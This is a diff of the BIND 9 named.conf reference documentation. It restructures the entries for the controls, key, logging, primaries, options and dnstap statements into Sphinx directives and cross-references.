+      are permitted based on the :term:`address_match_list`. This is for simple IP
+      address-based filtering only; any :term:`server_key` elements of the
+      :term:`address_match_list` are ignored.
+
+   :any:`keys`
+      The primary authorization mechanism of the command channel is the
+      list of :term:`server_key` s. Each listed
+      :namedconf:ref:`key` is authorized to execute commands over the control
+      channel. See :ref:`admin_tools` for information about
+      configuring keys in :iscman:`rndc`.
+
+
+``read-only``
+   If the ``read-only`` argument is ``on``, the control channel is limited
+   to the following set of read-only commands: ``nta -dump``, :any:`null`,
+   ``status``, ``showzone``, ``testgen``, and ``zonestatus``. By default,
+   ``read-only`` is not enabled and the control channel allows read-write
+   access.
+
+If no :any:`controls` statement is present, :iscman:`named` sets up a default
 control channel listening on the loopback address 127.0.0.1 and its IPv6
-counterpart, ::1. In this case, and also when the ``controls`` statement
-is present but does not have a ``keys`` clause, ``named`` attempts
-to load the command channel key from the file ``rndc.key`` in ``/etc``
-(or whatever ``sysconfdir`` was specified when BIND was built). To
-create an ``rndc.key`` file, run ``rndc-confgen -a``.
+counterpart, ::1. In this case, and also when the :any:`controls` statement
+is present but does not have a :any:`keys` clause, :iscman:`named` attempts
+to load the command channel key from the file |rndc_key|.
+To create an ``rndc.key`` file, run :option:`rndc-confgen -a`.
 
-To disable the command channel, use an empty ``controls`` statement:
+To disable the command channel, use an empty :any:`controls` statement:
 ``controls { };``.
 
-.. _include_grammar:
-
-``include`` Statement Grammar
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-::
-
-   include filename;
-
-.. _include_statement:
-
-``include`` Statement Definition and Usage
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-The ``include`` statement inserts the specified file (or files if a valid glob
-expression is detected) at the point where the ``include`` statement is
-encountered. The ``include`` statement facilitates the administration of
-configuration files by permitting the reading or writing of some things but not
-others. For example, the statement could include private keys that are readable
-only by the name server.
-
-.. _key_grammar:
 
-``key`` Statement Grammar
+``key`` Block Grammar
 ~~~~~~~~~~~~~~~~~~~~~~~~~
+.. namedconf:statement:: key
+   :tags: security
+   :short: Defines a shared secret key for use with :ref:`tsig` or the command channel.
 
-.. include:: ../misc/key.grammar.rst
-
-.. _key_statement:
-
-``key`` Statement Definition and Usage
+``key`` Block Definition and Usage
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 The ``key`` statement defines a shared secret key for use with TSIG (see
-:ref:`tsig`) or the command channel (see :ref:`controls_statement_definition_and_usage`).
+:ref:`tsig`) or the command channel (see :any:`controls`).
 
 The ``key`` statement can occur at the top level of the configuration
-file or inside a ``view`` statement. Keys defined in top-level ``key``
+file or inside a :any:`view` statement. Keys defined in top-level ``key``
 statements can be used in all views. Keys intended for use in a
-``controls`` statement (see :ref:`controls_statement_definition_and_usage`)
-must be defined at the top level.
+:any:`controls` statement must be defined at the top level.
 
-The ``key_id``, also known as the key name, is a domain name that uniquely
-identifies the key. It can be used in a ``server`` statement to cause
+The :term:`server_key`, also known as the key name, is a domain name that uniquely
+identifies the key. It can be used in a :namedconf:ref:`server` statement to cause
 requests sent to that server to be signed with this key, or in address
 match lists to verify that incoming requests have been signed with a key
 matching this name, algorithm, and secret.
 
-The ``algorithm_id`` is a string that specifies a security/authentication
-algorithm. The ``named`` server supports ``hmac-md5``, ``hmac-sha1``,
-``hmac-sha224``, ``hmac-sha256``, ``hmac-sha384``, and ``hmac-sha512``
-TSIG authentication. Truncated hashes are supported by appending the
-minimum number of required bits preceded by a dash, e.g.,
-``hmac-sha1-80``. The ``secret_string`` is the secret to be used by the
-algorithm, and is treated as a Base64-encoded string.
+.. namedconf:statement:: algorithm
+   :tags: security
+   :short: Defines the algorithm to be used in a key clause.
 
-.. _logging_grammar:
+   The ``algorithm_id`` is a string that specifies a security/authentication
+   algorithm. The :iscman:`named` server supports ``hmac-md5``, ``hmac-sha1``,
+   ``hmac-sha224``, ``hmac-sha256``, ``hmac-sha384``, and ``hmac-sha512``
+   TSIG authentication. Truncated hashes are supported by appending the
+   minimum number of required bits preceded by a dash, e.g.,
+   ``hmac-sha1-80``.
 
-``logging`` Statement Grammar
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. namedconf:statement:: secret
+   :tags: security
+   :short: Defines a Base64-encoded string to be used as the secret by the algorithm.
 
-.. include:: ../misc/logging.grammar.rst
+   The ``secret_string`` is the secret to be used by the
+   algorithm, and is treated as a Base64-encoded string.
 
-.. _logging_statement:
+:any:`logging` Block Grammar
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. namedconf:statement:: logging
+   :tags: logging
+   :short: Configures logging options for the name server.
 
-``logging`` Statement Definition and Usage
+:any:`logging` Block Definition and Usage
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The ``logging`` statement configures a wide variety of logging options
-for the name server. Its ``channel`` phrase associates output methods,
+The :any:`logging` statement configures a wide variety of logging options
+for the name server. Its :any:`channel` phrase associates output methods,
 format options, and severity levels with a name that can then be used
-with the ``category`` phrase to select how various classes of messages
+with the :any:`category` phrase to select how various classes of messages
 are logged.
 
-Only one ``logging`` statement is used to define as many channels and
-categories as desired. If there is no ``logging`` statement, the
+Only one :any:`logging` statement is used to define as many channels and
+categories as desired. If there is no :any:`logging` statement, the
 logging configuration is:
 
 ::
@@ -489,7 +623,7 @@ logging configuration is:
         category unmatched { null; };
    };
 
-If ``named`` is started with the ``-L`` option, it logs to the specified
+If :iscman:`named` is started with the :option:`-L <named -L>` option, it logs to the specified
 file at startup, instead of using syslog. In this case the logging
 configuration is:
 
@@ -503,13 +637,14 @@ configuration is:
 The logging configuration is only established when the entire
 configuration file has been parsed. When the server starts up, all
 logging messages regarding syntax errors in the configuration file go to
-the default channels, or to standard error if the ``-g`` option was
+the default channels, or to standard error if the :option:`-g <named -g>` option was
 specified.
 
-.. _channel:
-
-The ``channel`` Phrase
-^^^^^^^^^^^^^^^^^^^^^^
+The :any:`channel` Phrase
+^^^^^^^^^^^^^^^^^^^^^^^^^
+.. namedconf:statement:: channel
+   :tags: logging
+   :short: Defines a stream of data that can be independently logged.
 
 All log output goes to one or more ``channels``; there is no limit to
 the number of channels that can be created.
@@ -519,91 +654,108 @@ whether messages selected for the channel go to a file, go to a particular
 syslog facility, go to the standard error stream, or are discarded. The definition can
 optionally also limit the message severity level that is accepted
 by the channel (the default is ``info``), and whether to include a
-``named``-generated time stamp, the category name, and/or the severity level
+:iscman:`named`-generated time stamp, the category name, and/or the severity level
 (the default is not to include any).
 
-The ``null`` destination clause causes all messages sent to the channel
-to be discarded; in that case, other options for the channel are
-meaningless.
-
-The ``file`` destination clause directs the channel to a disk file. It
-can include additional arguments to specify how large the file is
-allowed to become before it is rolled to a backup file (``size``), how
-many backup versions of the file are saved each time this happens
-(``versions``), and the format to use for naming backup versions
-(``suffix``).
-
-The ``size`` option is used to limit log file growth. If the file ever
-exceeds the specified size, then ``named`` stops writing to the file
-unless it has a ``versions`` option associated with it. If backup
-versions are kept, the files are rolled as described below. If there is
-no ``versions`` option, no more data is written to the log until
-some out-of-band mechanism removes or truncates the log to less than the
-maximum size. The default behavior is not to limit the size of the file.
-
-File rolling only occurs when the file exceeds the size specified with
-the ``size`` option. No backup versions are kept by default; any
-existing log file is simply appended. The ``versions`` option specifies
-how many backup versions of the file should be kept. If set to
-``unlimited``, there is no limit.
-
-The ``suffix`` option can be set to either ``increment`` or
-``timestamp``. If set to ``timestamp``, then when a log file is rolled,
-it is saved with the current timestamp as a file suffix. If set to
-``increment``, then backup files are saved with incrementing numbers as
-suffixes; older files are renamed when rolling. For example, if
-``versions`` is set to 3 and ``suffix`` to ``increment``, then when
-``filename.log`` reaches the size specified by ``size``,
-``filename.log.1`` is renamed to ``filename.log.2``, ``filename.log.0``
-is renamed to ``filename.log.1``, and ``filename.log`` is renamed to
-``filename.log.0``, whereupon a new ``filename.log`` is opened.
-
-Here is an example using the ``size``, ``versions``, and ``suffix`` options:
+.. namedconf:statement:: null
+   :tags: logging
+   :short: Causes all messages sent to the logging channel to be discarded.
 
-::
+   The :any:`null` destination clause causes all messages sent to the channel
+   to be discarded; in that case, other options for the channel are
+   meaningless.
 
-   channel an_example_channel {
-       file "example.log" versions 3 size 20m suffix increment;
-       print-time yes;
-       print-category yes;
-   };
+``file``
+   The ``file`` destination clause directs the channel to a disk file. It
+   can include additional arguments to specify how large the file is
+   allowed to become before it is rolled to a backup file (``size``), how
+   many backup versions of the file are saved each time this happens
+   (``versions``), and the format to use for naming backup versions
+   (``suffix``).
+
+   The ``size`` option is used to limit log file growth. If the file ever
+   exceeds the specified size, then :iscman:`named` stops writing to the file
+   unless it has a ``versions`` option associated with it. If backup
+   versions are kept, the files are rolled as described below. If there is
+   no ``versions`` option, no more data is written to the log until
+   some out-of-band mechanism removes or truncates the log to less than the
+   maximum size. The default behavior is not to limit the size of the file.
+
+   File rolling only occurs when the file exceeds the size specified with
+   the ``size`` option. No backup versions are kept by default; any
+   existing log file is simply appended. The ``versions`` option specifies
+   how many backup versions of the file should be kept. If set to
+   ``unlimited``, there is no limit.
+
+   The ``suffix`` option can be set to either ``increment`` or
+   ``timestamp``. If set to ``timestamp``, then when a log file is rolled,
+   it is saved with the current timestamp as a file suffix. If set to
+   ``increment``, then backup files are saved with incrementing numbers as
+   suffixes; older files are renamed when rolling. For example, if
+   ``versions`` is set to 3 and ``suffix`` to ``increment``, then when
+   ``filename.log`` reaches the size specified by ``size``,
+   ``filename.log.1`` is renamed to ``filename.log.2``, ``filename.log.0``
+   is renamed to ``filename.log.1``, and ``filename.log`` is renamed to
+   ``filename.log.0``, whereupon a new ``filename.log`` is opened.
+
+   Here is an example using the ``size``, ``versions``, and ``suffix`` options:
+
+   ::
+
+      channel an_example_channel {
+          file "example.log" versions 3 size 20m suffix increment;
+          print-time yes;
+          print-category yes;
+      };
 
-The ``syslog`` destination clause directs the channel to the system log.
-Its argument is a syslog facility as described in the ``syslog`` man
-page. Known facilities are ``kern``, ``user``, ``mail``, ``daemon``,
-``auth``, ``syslog``, ``lpr``, ``news``, ``uucp``, ``cron``,
-``authpriv``, ``ftp``, ``local0``, ``local1``, ``local2``, ``local3``,
-``local4``, ``local5``, ``local6``, and ``local7``; however, not all
-facilities are supported on all operating systems. How ``syslog`` 
-handles messages sent to this facility is described in the
-``syslog.conf`` man page. On a system which uses a very old
-version of ``syslog``, which only uses two arguments to the ``openlog()``
-function, this clause is silently ignored.
-
-The ``severity`` clause works like ``syslog``'s "priorities," except
-that they can also be used when writing straight to a file rather
-than using ``syslog``. Messages which are not at least of the severity
-level given are not selected for the channel; messages of higher
-severity levels are accepted.
-
-When using ``syslog``, the ``syslog.conf`` priorities
-also determine what eventually passes through. For example, defining a
-channel facility and severity as ``daemon`` and ``debug``, but only
-logging ``daemon.warning`` via ``syslog.conf``, causes messages of
-severity ``info`` and ``notice`` to be dropped. If the situation were
-reversed, with ``named`` writing messages of only ``warning`` or higher,
-then ``syslogd`` would print all messages it received from the channel.
-
-The ``stderr`` destination clause directs the channel to the server's
-standard error stream. This is intended for use when the server is
-running as a foreground process, as when debugging a
-configuration, for example.
+.. namedconf:statement:: syslog
+   :tags: logging
+   :short: Directs the logging channel to the system log.
+
+   The :any:`syslog` destination clause directs the channel to the system log.
+   Its argument is a syslog facility as described in the :any:`syslog` man
+   page. Known facilities are ``kern``, ``user``, ``mail``, ``daemon``,
+   ``auth``, :any:`syslog`, ``lpr``, ``news``, ``uucp``, ``cron``,
+   ``authpriv``, ``ftp``, ``local0``, ``local1``, ``local2``, ``local3``,
+   ``local4``, ``local5``, ``local6``, and ``local7``; however, not all
+   facilities are supported on all operating systems. How :any:`syslog`
+   handles messages sent to this facility is described in the
+   ``syslog.conf`` man page. On a system which uses a very old
+   version of :any:`syslog`, which only uses two arguments to the ``openlog()``
+   function, this clause is silently ignored.
+
+.. namedconf:statement:: severity
+   :tags: logging
+   :short: Defines the priority level of log messages.
+
+   The :any:`severity` clause works like :any:`syslog`'s "priorities," except
+   that they can also be used when writing straight to a file rather
+   than using :any:`syslog`. Messages which are not at least of the severity
+   level given are not selected for the channel; messages of higher
+   severity levels are accepted.
+
+   When using :any:`syslog`, the ``syslog.conf`` priorities
+   also determine what eventually passes through. For example, defining a
+   channel facility and severity as ``daemon`` and ``debug``, but only
+   logging ``daemon.warning`` via ``syslog.conf``, causes messages of
+   severity ``info`` and ``notice`` to be dropped. If the situation were
+   reversed, with :iscman:`named` writing messages of only ``warning`` or higher,
+   then ``syslogd`` would print all messages it received from the channel.
+
+.. namedconf:statement:: stderr
+   :tags: logging
+   :short: Directs the logging channel output to the server's standard error stream.
+
+   The :any:`stderr` destination clause directs the channel to the server's
+   standard error stream. This is intended for use when the server is
+   running as a foreground process, as when debugging a
+   configuration, for example.
 
 The server can supply extensive debugging information when it is in
 debugging mode. If the server's global debug level is greater than zero,
 debugging mode is active. The global debug level is set either
-by starting the ``named`` server with the ``-d`` flag followed by a
-positive integer, or by running ``rndc trace``. The global debug level
+by starting the :iscman:`named` server with the :option:`-d <named -d>` flag followed by a
+positive integer, or by running :option:`rndc trace`. The global debug level
 can be set to zero, and debugging mode turned off, by running ``rndc
 notrace``. All debugging messages in the server have a debug level;
 higher debug levels give more detailed output. Channels that specify a
@@ -621,34 +773,53 @@ debugging mode, regardless of the global debugging level. Channels with
 ``dynamic`` severity use the server's global debug level to determine
 what messages to print.
 
-``print-time`` can be set to ``yes``, ``no``, or a time format
-specifier, which may be one of ``local``, ``iso8601``, or
-``iso8601-utc``. If set to ``no``, the date and time are not
-logged. If set to ``yes`` or ``local``, the date and time are logged in
-a human-readable format, using the local time zone. If set to
-``iso8601``, the local time is logged in ISO 8601 format. If set to
-``iso8601-utc``, the date and time are logged in ISO 8601 format,
-with time zone set to UTC. The default is ``no``.
-
-``print-time`` may be specified for a ``syslog`` channel, but it is
-usually pointless since ``syslog`` also logs the date and time.
-
-If ``print-category`` is requested, then the category of the message
-is logged as well. Finally, if ``print-severity`` is on, then the
-severity level of the message is logged. The ``print-`` options may
-be used in any combination, and are always printed in the following
-order: time, category, severity. Here is an example where all three
-``print-`` options are on:
+.. namedconf:statement:: print-time
+   :tags: logging
+   :short: Specifies the time format for log messages.
+
+   :any:`print-time` can be set to ``yes``, ``no``, or a time format
+   specifier, which may be one of ``local``, ``iso8601``, or
+   ``iso8601-utc``. If set to ``no``, the date and time are not
+   logged. If set to ``yes`` or ``local``, the date and time are logged in
+   a human-readable format, using the local time zone. If set to
+   ``iso8601``, the local time is logged in ISO 8601 format. If set to
+   ``iso8601-utc``, the date and time are logged in ISO 8601 format,
+   with time zone set to UTC. The default is ``no``.
+
+   :any:`print-time` may be specified for a :any:`syslog` channel, but it is
+   usually pointless since :any:`syslog` also logs the date and time.
+
+.. namedconf:statement:: print-category
+   :tags: logging
+   :short: Includes the category in log messages.
+
+   If :any:`print-category` is requested, then the category of the message
+   is logged as well.
+
+.. namedconf:statement:: print-severity
+   :tags: logging
+   :short: Includes the severity in log messages.
+
+   If :any:`print-severity` is on, then the
+   severity level of the message is logged. The ``print-`` options may
+   be used in any combination, and are always printed in the following
+   order: time, category, severity.
+
+Here is an example where all three ``print-`` options are on:
 
 ``28-Feb-2000 15:05:32.863 general: notice: running``
 
-If ``buffered`` has been turned on, the output to files is not
-flushed after each log entry. By default all log messages are flushed.
+.. namedconf:statement:: buffered
+   :tags: logging
+   :short: Controls flushing of log messages.
+
+   If :any:`buffered` has been turned on, the output to files is not
+   flushed after each log entry. By default all log messages are flushed.
 
-There are four predefined channels that are used for ``named``'s default
-logging, as follows. If ``named`` is started with the ``-L`` option, then a fifth
+There are four predefined channels that are used for :iscman:`named`'s default
+logging, as follows. If :iscman:`named` is started with the :option:`-L <named -L>` option, then a fifth
 channel, ``default_logfile``, is added. How they are used is described in
-:ref:`the_category_phrase`.
+:any:`category`.
 
 ::
 
@@ -693,23 +864,20 @@ The ``default_debug`` channel has the special property that it only
 produces output when the server's debug level is non-zero. It normally
 writes to a file called ``named.run`` in the server's working directory.
 
-For security reasons, when the ``-u`` command-line option is used, the
-``named.run`` file is created only after ``named`` has changed to the
-new UID, and any debug output generated while ``named`` is starting -
+For security reasons, when the :option:`-u <named -u>` command-line option is used, the
+``named.run`` file is created only after :iscman:`named` has changed to the
+new UID, and any debug output generated while :iscman:`named` is starting -
 and still running as root - is discarded. To capture this
-output, run the server with the ``-L`` option to specify a
-default logfile, or the ``-g`` option to log to standard error which can
+output, run the server with the :option:`-L <named -L>` option to specify a
+default logfile, or the :option:`-g <named -g>` option to log to standard error which can
 be redirected to a file.
 
 Once a channel is defined, it cannot be redefined. The
 built-in channels cannot be altered directly, but the default logging
 can be modified by pointing categories at defined channels.
 
-.. _the_category_phrase:
-
-The ``category`` Phrase
-^^^^^^^^^^^^^^^^^^^^^^^
-
+The :any:`category` Phrase
+^^^^^^^^^^^^^^^^^^^^^^^^^^
 There are many categories, so desired logs can be sent anywhere
 while unwanted logs are ignored. If
 a list of channels is not specified for a category, log messages in that
@@ -720,7 +888,7 @@ default category is specified, the following "default default" is used:
 
    category default { default_syslog; default_debug; };
 
-If ``named`` is started with the ``-L`` option, the default category
+If :iscman:`named` is started with the :option:`-L <named -L>` option, the default category
 is:
 
 ::
@@ -743,18 +911,23 @@ following:
        default_debug;
    };
 
-To discard all messages in a category, specify the ``null`` channel:
+
+To discard all messages in a category, specify the :namedconf:ref:`null` channel:
 
 ::
 
    category xfer-out { null; };
    category notify { null; };
 
+.. namedconf:statement:: category
+   :tags: logging
+   :short: Specifies the type of data logged to a particular channel.
+
 The following are the available categories and brief descriptions of the
 types of log information they contain. More categories may be added in
 future BIND releases.
 
-.. include:: logging-categories.rst
+.. include:: logging-categories.inc.rst
 
 .. _query_errors:
 
@@ -844,37 +1017,61 @@ At ``debug`` level 4 or higher, the detailed context information logged at
 ``debug`` level 2 is logged for errors other than SERVFAIL and for negative
 responses such as NXDOMAIN.
 
-.. _primaries_grammar:
+:any:`parental-agents` Block Grammar
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. namedconf:statement:: parental-agents
+   :tags: zone
+   :short: Defines a list of delegation agents to be used by primary and secondary zones.
 
-``primaries`` Statement Grammar
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+:any:`parental-agents` Block Definition and Usage
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. include:: ../misc/primaries.grammar.rst
+:any:`parental-agents` lists allow for a common set of parental agents to be easily
+used by multiple primary and secondary zones.
+A parental agent is the entity that is allowed to
+change a zone's delegation information (defined in :rfc:`7344`).
 
-.. _primaries_statement:
+:any:`primaries` Block Grammar
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. namedconf:statement:: primaries
+   :tags: zone
+   :short: Defines one or more primary servers for a zone.
 
-``primaries`` Statement Definition and Usage
+:any:`primaries` Block Definition and Usage
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-``primaries`` lists allow for a common set of primary servers  to be easily
-used by multiple stub and secondary zones in their ``primaries`` or
-``also-notify`` lists. (Note: ``primaries`` is a synonym for the original
+:any:`primaries` lists allow for a common set of primary servers to be easily
+used by multiple stub and secondary zones in their :any:`primaries` or
+:any:`also-notify` lists. (Note: :any:`primaries` is a synonym for the original
 keyword ``masters``, which can still be used, but is no longer the
 preferred terminology.)
 
-.. _options_grammar:
+To force the zone transfer requests to be sent over TLS, use :any:`tls` keyword,
+e.g. ``primaries { 192.0.2.1 tls tls-configuration-name; };``,
+where ``tls-configuration-name`` refers to a previously defined
+:any:`tls statement <tls>`.
 
-``options`` Statement Grammar
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. warning::
 
-This is the grammar of the ``options`` statement in the ``named.conf``
-file:
+   Please note that TLS connections to primaries are **not
+   authenticated** unless :any:`remote-hostname` or :any:`ca-file` are specified
+   within the :any:`tls statement <tls>` in use (see information on
+   :ref:`Strict TLS <strict-tls>` and :ref:`Mutual TLS <mutual-tls>`
+   for more details).  **Not authenticated mode** (:ref:`Opportunistic
+   TLS <opportunistic-tls>`) provides protection from passive
+   observers but does not protect from man-in-the-middle attacks on
+   zone transfers.
 
-.. include:: ../misc/options.grammar.rst
+``options`` Block Grammar
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. namedconf:statement:: options
+   :tags: server
+   :short: Defines global options to be used by BIND 9.
 
-.. _options:
+This is the grammar of the ``options`` statement in the :iscman:`named.conf`
+file:
 
-``options`` Statement Definition and Usage
+``options`` Block Definition and Usage
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 The ``options`` statement sets up global options to be used by BIND.
@@ -882,18 +1079,21 @@ This statement may appear only once in a configuration file. If there is
 no ``options`` statement, an options block with each option set to its
 default is used.
 
-``attach-cache``
+.. namedconf:statement:: attach-cache
+   :tags: view
+   :short: Allows multiple views to share a single cache database.
+
    This option allows multiple views to share a single cache database. Each view has
    its own cache database by default, but if multiple views have the
    same operational policy for name resolution and caching, those views
    can share a single cache to save memory, and possibly improve
    resolution efficiency, by using this option.
 
-   The ``attach-cache`` option may also be specified in ``view``
-   statements, in which case it overrides the global ``attach-cache``
+   The :any:`attach-cache` option may also be specified in :any:`view`
+   statements, in which case it overrides the global :any:`attach-cache`
    option.
 
-   The ``cache_name`` specifies the cache to be shared. When the ``named``
+   The ``cache_name`` specifies the cache to be shared. When the :iscman:`named`
    server configures views which are supposed to share a cache, it
    creates a cache with the specified name for the first view of these
    sharing views. The rest of the views simply refer to the
@@ -901,12 +1101,12 @@ default is used.
 
    One common configuration to share a cache is to allow all views
    to share a single cache. This can be done by specifying
-   ``attach-cache`` as a global option with an arbitrary name.
+   :any:`attach-cache` as a global option with an arbitrary name.
 
    Another possible operation is to allow a subset of all views to share
    a cache while the others retain their own caches. For example, if
    there are three views A, B, and C, and only A and B should share a
-   cache, specify the ``attach-cache`` option as a view of A (or B)'s
+   cache, specify the :any:`attach-cache` option as a view of A (or B)'s
    option, referring to the other view name:
 
    ::
@@ -927,10 +1127,10 @@ default is used.
    Views that share a cache must have the same policy on configurable
    parameters that may affect caching. The current implementation
    requires the following configurable options be consistent among these
-   views: ``check-names``, ``dnssec-accept-expired``,
-   ``dnssec-validation``, ``max-cache-ttl``, ``max-ncache-ttl``,
-   ``max-stale-ttl``, ``max-cache-size``, ``min-cache-ttl``,
-   ``min-ncache-ttl``, and ``zero-no-soa-ttl``.
+   views: :any:`check-names`, :any:`dnssec-accept-expired`,
+   :any:`dnssec-validation`, :any:`max-cache-ttl`, :any:`max-ncache-ttl`,
+   :any:`max-stale-ttl`, :any:`max-cache-size`, :any:`min-cache-ttl`,
+   :any:`min-ncache-ttl`, and :any:`zero-no-soa-ttl`.
 
    Note that there may be other parameters that may cause confusion if
    they are inconsistent for different views that share a single cache.
@@ -940,7 +1140,10 @@ default is used.
    administrator's responsibility to ensure that configuration differences in
    different views do not cause disruption with a shared cache.
 
-``directory``
+.. namedconf:statement:: directory
+   :tags: server
+   :short: Sets the server's working directory.
+
    This sets the working directory of the server. Any non-absolute pathnames in
    the configuration file are taken as relative to this directory.
    The default location for most server output files (e.g.,
@@ -948,26 +1151,35 @@ default is used.
    the working directory defaults to ``"."``, the directory from
    which the server was started. The directory specified should be an
    absolute path, and *must* be writable by the effective user ID of the
-   ``named`` process.
+   :iscman:`named` process.
+
+   The option takes effect only at the time that the configuration
+   option is parsed; if other files are being included before or after specifying the
+   new :any:`directory`, the :any:`directory` option must be listed
+   before any other directive (like ``include``) that can work with relative
+   files. The safest way to include files is to use absolute file names.
 
-``dnstap``
-   ``dnstap`` is a fast, flexible method for capturing and logging DNS
+.. namedconf:statement:: dnstap
+   :tags: logging
+   :short: Enables logging of :any:`dnstap` messages.
+
+   :any:`dnstap` is a fast, flexible method for capturing and logging DNS
    traffic. Developed by Robert Edmonds at Farsight Security, Inc., and
-   supported by multiple DNS implementations, ``dnstap`` uses
+   supported by multiple DNS implementations, :any:`dnstap` uses
    ``libfstrm`` (a lightweight high-speed framing library; see
    https://github.com/farsightsec/fstrm) to send event payloads which
    are encoded using Protocol Buffers (``libprotobuf-c``, a mechanism
    for serializing structured data developed by Google, Inc.; see
    https://developers.google.com/protocol-buffers/).
 
-   To enable ``dnstap`` at compile time, the ``fstrm`` and
+   To enable :any:`dnstap` at compile time, the ``fstrm`` and
    ``protobuf-c`` libraries must be available, and BIND must be
    configured with ``--enable-dnstap``.
 
-   The ``dnstap`` option is a bracketed list of message types to be
+   The :any:`dnstap` option is a bracketed list of message types to be
    logged. These may be set differently for each view. Supported types
    are ``client``, ``auth``, ``resolver``, ``forwarder``, and
-   ``update``. Specifying type ``all`` causes all ``dnstap``
+   ``update``. Specifying type ``all`` causes all :any:`dnstap`
    messages to be logged, regardless of type.
 
    Each type may take an additional argument to indicate whether to log
@@ -985,42 +1197,78 @@ default is used.
         resolver query;
       };
 
-   Logged ``dnstap`` messages can be parsed using the ``dnstap-read``
+   .. note:: In the default configuration, the dnstap output for
+      recursive resolver traffic does not include the IP addresses used
+      by server-side sockets. This is caused by the fact that unless the
+      :ref:`query source address <query_address>` is explicitly set,
+      these sockets are bound to wildcard IP addresses and determining
+      the specific IP address used by each of them requires issuing a
+      system call (i.e. incurring a performance penalty).
+
+   Logged :any:`dnstap` messages can be parsed using the :iscman:`dnstap-read`
    utility (see :ref:`man_dnstap-read` for details).
 
-   For more information on ``dnstap``, see http://dnstap.info.
+   For more information on :any:`dnstap`, see http://dnstap.info.
 
    The fstrm library has a number of tunables that are exposed in
-   ``named.conf``, and can be modified if necessary to improve
+   :iscman:`named.conf`, and can be modified if necessary to improve
    performance or prevent loss of data. These are:
 
-   -  ``fstrm-set-buffer-hint``: The threshold number of bytes to
+   .. namedconf:statement:: fstrm-set-buffer-hint
+      :tags: logging
+      :short: Sets the number of accumulated bytes in the output buffer before forcing a buffer flush.
+
+      The threshold number of bytes to
       accumulate in the output buffer before forcing a buffer flush. The
       minimum is 1024, the maximum is 65536, and the default is 8192.
 
-   -  ``fstrm-set-flush-timeout``: The number of seconds to allow
+   .. namedconf:statement:: fstrm-set-flush-timeout
+      :tags: logging
+      :short: Sets the number of seconds that unflushed data remains in the output buffer.
+
+      The number of seconds to allow
       unflushed data to remain in the output buffer. The minimum is 1
       second, the maximum is 600 seconds (10 minutes), and the default
       is 1 second.
 
-   -  ``fstrm-set-output-notify-threshold``: The number of outstanding
+   .. namedconf:statement:: fstrm-set-output-notify-threshold
+      :tags: logging
+      :short: Sets the number of outstanding queue entries allowed on an input queue before waking the I/O thread.
+
+      The number of outstanding
       queue entries to allow on an input queue before waking the I/O
       thread. The minimum is 1 and the default is 32.
 
-   -  ``fstrm-set-output-queue-model``: The queuing semantics
+   .. namedconf:statement:: fstrm-set-output-queue-model
+      :tags: logging
+      :short: Sets the queuing semantics to use for queue objects.
+
+      The queuing semantics
       to use for queue objects. The default is ``mpsc`` (multiple
       producer, single consumer); the other option is ``spsc`` (single
       producer, single consumer).
 
-   -  ``fstrm-set-input-queue-size``: The number of queue entries to
+   .. namedconf:statement:: fstrm-set-input-queue-size
+      :tags: logging
+      :short: Sets the number of queue entries to allocate for each input queue.
+
+      The number of queue entries to
       allocate for each input queue. This value must be a power of 2.
       The minimum is 2, the maximum is 16384, and the default is 512.
 
-   -  ``fstrm-set-output-queue-size``: The number of queue entries to
+   .. namedconf:statement:: fstrm-set-output-queue-size
+      :tags: logging
+      :short: Sets the number of queue entries allocated for each output queue.
+
+      The number of queue entries to
       allocate for each output queue. The minimum is 2, the maximum is
       system-dependent and based on ``IOV_MAX``, and the default is 64.
 
-   -  ``fstrm-set-reopen-interval``: The number of seconds to wait
+   .. namedconf:statement:: fstrm-set-reopen-interval
+      :tags: logging
+      :short: Sets the number of seconds to wait between attempts to reopen a closed output stream.
+
+      The number of seconds to wait
       between attempts to reopen a closed output stream. The minimum is
       1 second, the maximum is 600 seconds (10 minutes), and the default
       is 5 seconds. For convenience, TTL-style time-unit suffixes may be
@@ -1031,80 +1279,101 @@ default is used.
    future versions of the library. See the ``libfstrm`` documentation
    for more information.
 
-``dnstap-output``
-   This configures the path to which the ``dnstap`` frame stream is sent
-   if ``dnstap`` is enabled at compile time and active.
+.. namedconf:statement:: dnstap-output
+   :tags: logging
+   :short: Configures the path to which the :any:`dnstap` frame stream is sent.
+
+   This configures the path to which the :any:`dnstap` frame stream is sent
+   if :any:`dnstap` is enabled at compile time and active.
 
    The first argument is either ``file`` or ``unix``, indicating whether
    the destination is a file or a Unix domain socket. The second
    argument is the path of the file or socket. (Note: when using a
-   socket, ``dnstap`` messages are only sent if another process such
+   socket, :any:`dnstap` messages are only sent if another process such
    as ``fstrm_capture`` (provided with ``libfstrm``) is listening on the
    socket.)
 
    If the first argument is ``file``, then up to three additional
    options can be added: ``size`` indicates the size to which a
-   ``dnstap`` log file can grow before being rolled to a new file;
+   :any:`dnstap` log file can grow before being rolled to a new file;
    ``versions`` specifies the number of rolled log files to retain; and
    ``suffix`` indicates whether to retain rolled log files with an
    incrementing counter as the suffix (``increment``) or with the
    current timestamp (``timestamp``). These are similar to the ``size``,
-   ``versions``, and ``suffix`` options in a ``logging`` channel. The
-   default is to allow ``dnstap`` log files to grow to any size without
+   ``versions``, and ``suffix`` options in a :any:`logging` channel. The
+   default is to allow :any:`dnstap` log files to grow to any size without
    rolling.
 
-   ``dnstap-output`` can only be set globally in ``options``. Currently,
-   it can only be set once while ``named`` is running; once set, it
-   cannot be changed by ``rndc reload`` or ``rndc reconfig``.
